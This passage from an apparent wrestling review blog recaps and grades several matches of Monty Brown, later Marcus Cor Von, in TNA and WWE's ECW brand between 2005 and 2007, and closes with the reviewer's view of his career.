Jarrett has a second guitar but Brown counters with a chokeslam for no cover because there’s no referee. Guitar shot looks to kill Jarrett dead but there’s STILL no referee. At least it’s from a finisher and not like a punch. A second referee comes out for a two count but Jarrett gets part of the guitar in for two. Stroke hits, Brown gets up before the cover, Stroke hits, Brown gets up before the cover, low blow, Stroke, pin.

Rating: B-. This was an ok main event brawl but at the same time there wasn’t a ton of chemistry out there. It hurt that Brown can only do a few things and the idea was that he can’t be taken down by anything. The match wasn’t all that bad but after the other two matches it really paled in comparison. Good stuff though.

Brown stayed in the title hunt and would compete in King of the Mountain at Slammiversary 2005.

NWA World Title: AJ Styles vs. Raven vs. Abyss vs. Monty Brown vs. Sean Waltman

The idea here is you have to hang the belt above the ring, sort of like a reverse ladder match. However before you can do that, you have to qualify by getting a fall on someone else. Whoever is pinned/submits goes to the penalty box for two minutes. Waltman dives off the box onto Raven while Styles dives off a ladder onto Brown. Brown shrugs him off and goes inside where he Pounces Raven and pins him to qualify. Raven has to go to the box.

AJ hits a huge dive to take out Waltman and Abyss so it’s Brown/Waltman in the ring. AJ sets for the springboard forearm but Abyss breaks it up. A spinwheel kick puts Abyss down but Brown breaks up the Bronco Buster. Raven is let out ten seconds early for some reason. Alpha Bomb pins Waltman which doesn’t change anything for Brown but Waltman goes to the box. Raven has a table set up at ringside.

AJ dives off the cage to take out Abyss. The camera work is lacking a bit here as we keep missing stuff. Brown hits the Pounce on AJ but Raven pulls him to the floor for the pin to become eligible. Abyss loads up Shock Treatment on Brown but Raven beats them both up with a trashcan. Styles and Waltman are forming an alliance in the box. Waltman is now out and he grabs another trashcan to take Brown down with.

The clock ends for AJ as Abyss hits the Black Hole Slam to pin Brown. AJ and Waltman aren’t eligible yet. As I say that AJ hits the Clash on Raven but Abyss makes the save. Pele puts Abyss down and Waltman cracks the masked man with a chair. No one has used a ladder yet. Waltman puts Abyss on the table and AJ hits Spiral Tap, which is good for a pin for AJ.

Brown is released and here’s the first ladder. Raven throws Brown into the barricade and AJ is going up the ladder. He drops the title, but Waltman hands it to him. Naturally that’s a swerve and Waltman hits the X Factor off the ladder, good for a pin. There’s a table in the corner now too. Raven staples Waltman’s head and Abyss is free. Abyss and Raven both get staples between their legs but Waltman gets taken down as well.

Waltman gets up first and chokes Abyss. Does anyone know where the belt is? Waltman sets up a ladder as Styles is released. They both go up and fight on top of the ladder but Abyss shoves it over. A Pounce puts Abyss through the table but Raven DDTs Brown. He goes up the ladder and Abyss can’t stop him, giving Raven the win and the title.

Rating: B-. This was a fun match but as always with these matches, they’re wild brawls that no one can keep up with. Well ok maybe that’s a stretch but they’re still chaotic. It’s probably a little too complicated but this is TNA’s signature mess and that’s ok for the most part. Raven winning should have won the title a year or so earlier but still, this worked well and he would have a good reign.

It’s another #1 contenders match, this time at Genesis 2005.

Jeff Hardy vs. Monty Brown

Winner gets Jarrett at some point in the future. The fans are almost universally behind Hardy. Jawbreaker slows Brown down….then Hardy sticks his hands out and shouts before crawling on the ground. Brown grabs him into a fallaway slam to take over. Jeff avoids a charge and Monty goes to the floor, but Hardy’s baseball slide misses and he hits the steel. Brown throws him into the crowd and Jeff is in trouble.

Jeff walks on a barricade and dives onto Brown who was nice enough to stand there and let him. At least he’s polite. Back in and Jeff is almost immediately thrown back to the floor over the top. The fans are split but the fans are more in Hardy’s corner. Whisper in the Wind misses and Hardy is in trouble. A double clothesline hits and both guys go down. Now Whisper in the Wind works and Jeff starts his comeback. Legdrop between the legs makes Monty’s eyes bug out.

The Twist of Fate is countered into an Alpha Bomb attempt but Jeff counters into the reverse Twist of Fate, which of course West calls the same thing. Either way it only gets two. Jeff goes up for the Swanton but it only hits mat. Monty gets up and CRUSHES Jeff with the Pounce for the pin. Apparently this just moves Monty up in the rankings instead of giving him a title match. You know, because that’s SO much different than any regular match right?

Rating: D+. This wasn’t much for the most part. Jeff’s selling was great of course but Monty was pretty much just another power guy. He wasn’t bad or anything but not much aside from his finisher made him stand out or anything. Not a bad match or anything but it’s really just kind of there.

And then an actual one on one title match, from Destination X 2006.

NWA World Title: Christian Cage vs. Monty Brown

Yeah still the NWA Title here which would last about another 14 months when Christian would be stripped of the title. Brown is a big old strong guy that uses a half spear/half shoulder block as a finisher. He’s a bit more known in WWE as Marcus Cor Von. Christian was certainly over in Orlando. Christian is the hometown boy so he’s by far and away the favorite. That and he’s a face.

Dueling chants begin and here we go. Christian has bad ribs because it’s illegal to be fully healthy against a monster challenger I guess. Christian grabs a headlock but Brown gets a shot to the ribs to break it up. They trade chops and Christian gets tossed to the floor. They brawl into the crowd where the people seem, shall we say, not very interested. Back to the ring and more slugging occurs.

And never mind as we’re right back to the floor. Christian tries to come back in off the top but gets caught by a punch to the ribs. This time they slug it out on the apron for a little variety before they go to the floor again. Into the ring again for more punching to the ribs of the champion. To say this is repetitive is like saying Austin likes to drink. Brown drapes him over the ropes and sends him into the post/buckle for two.

We hit the abdominal stretch which is a perfectly logical move. We’re over ten minutes into this match and I don’t think Christian has used anything other than punches or chops. Tornado DDT is reversed for two. Cage fires off some forearms before Brown hits him in the ribs to remind us that he knows how to do that. Down goes Monty but the frog splash misses for Christian and we hit another rib hold, this one on the mat.

To the corner now with Brown hammering on the ribs again. Christian knocks him off the top and drops a backsplash for two. Unprettier is blocked into an Alpha Bomb for two (big powerbomb). Unprettier is blocked into an F5 for two. Another Alpha Bomb is blocked into the Unprettier to end this. At least it’s over.

Rating: D+. Really dull match here as Brown was trying but Christian’s offense was so one dimensional for the first 12-14 minutes that it was putting me to sleep. Brown isn’t a guy capable of going 17 minutes without boring people to tears and that’s exactly what the case was here. Bad main event that needed to be about 5 minutes shorter to make it work in any fashion.

Brown would jump to WWE as Marcus Cor Von, where he debuted on the ECW brand. Here’s one of his first matches from April 10, 2007.

Marcus Cor Von vs. Rob Van Dam

This is part of the New Breed vs. ECW Originals story. Sabu and Elijah Burke are the seconds here. Feeling out process to start with neither getting an advantage with right hands or kicks. I’ll let you figure out which tried which. Rob tries a monkey flip out of the corner but has to use a hurricanrana to counter a powerbomb.

A hard clothesline puts Van Dam down and a slam does the same as Taz calls Burke Knute Rockne. We hit the chinlock for a bit before a neckbreaker gets two for Cor Von. Rob gets two off a rollup out of the corner but walks into a belly to back suplex to put both guys down. Back to the chinlock before a HUGE release German plants Van Dam for two.

There’s a third chinlock followed by some stomps to Rob’s face for two. It’s a FOURTH chinlock as this is dragging already. Van Dam fights up again and nails a bunch of kicks including a springboard kick to the jaw. A spinning legdrop is good for two and the top rope kick drops Cor Von again. Burke jumps the injured Sabu, and the distraction allows Marcus to hit the Pounce for the pin.

Rating: D+. As I mentioned in the Christian match, Brown’s offense was rather limited and couldn’t last in a ten minute match. He needed someone to help him expand his offense with some other power moves. Yeah he was strong, but the amount of chinlocks in this match was WAY too high.

Here’s the big showdown between the two factions at Wrestlemania XXIII.

New Breed vs. ECW Originals

It’s Elijah Burke/Matt Striker/Kevin Thron/Marcus Cor Van vs. Rob Van Dam/Tommy Dreamer/Sabu/Sandman and for no reason whatsoever this is a regular eight man tag instead of the Extreme Rules match we would get on ECW a few days later. Striker starts with Sabu and Matt is in early trouble. It’s quickly off to Sandman vs. Burke but before Sandy does much he brings in Dreamer. Cor Von hits Dreamer in the back and comes in to pound away a bit.

It’s quickly back to Burke (the New Breed’s leader and more famous as D’Angelo Dinero) for the running knees to the back for two. Thorn comes in to crush Dreamer into the corner and put on a chinlock. Back up and a sitout powerbomb gets two for Thorn and here’s Cor Von again. Burke comes in as well but Dreamer takes them down with a simultaneous neckbreaker/reverse DDT combo. The hot tag brings in Van Dam and there’s the top rope kick to Thorn. Rolling Thunder lands on Striker as everything breaks down. With everyone else on the floor, Van Dam Five Stars Striker for the pin.

Rating: D+. Seriously, why wasn’t this the Extreme Rules match? The whole point of ECW is to be extreme but we got a seven minute tag match which went nowhere at all. The theory was to finally let these guys get on Wrestlemania, but Van Dam had been on it before and won a title here. Nothing to see here at all.

The New Breed would win the rematch (an extreme rules match on TV instead of here for some reason) but CM Punk would jump in to continue the feud. From May 8, 2007 on ECW on SyFy.

CM Punk vs. Marcus Cor Von

Punk scores with some quick dropkicks to send Cor Von outside but he gets pulled out for a beating. Cor Von rams his back into the apron before hammering away at the ribs back inside. We hit the bearhug followed by some knees to the back and a release belly to belly suplex for two. Punk finally comes back with a kick to the head and a springboard clothesline but the ribs slow down the cover. A tornado DDT is countered by Brown shoving him out to the floor and the ribs are in more trouble. Back in and Punk scores with some forearms, only to get caught with the Pounce for the completely clean pin.

Rating: C-. You could see the potential in Brown starting to come out here. Stuff like the knees to the back and the suplexes were a great breath of air after the chinlocks and slams to Van Dam. He wasn’t ready to main event Summerslam or anything yet, but he was already getting better in the ring.

We’ll wrap it up there as it would be downhill for the New Breed after this and Cor Von would retire due to some family issues resulting in him having to take care of some children.

While he wasn’t around all that long, Brown was definitely a guy with some potential due to how strong he was. He wasn’t going to be anything huge but he was perfect for a young company like TNA. The Pounce worked perfectly and was better than a lot of spears that you see from bigger names. Had he debuted earlier in life he could have been something very solid.

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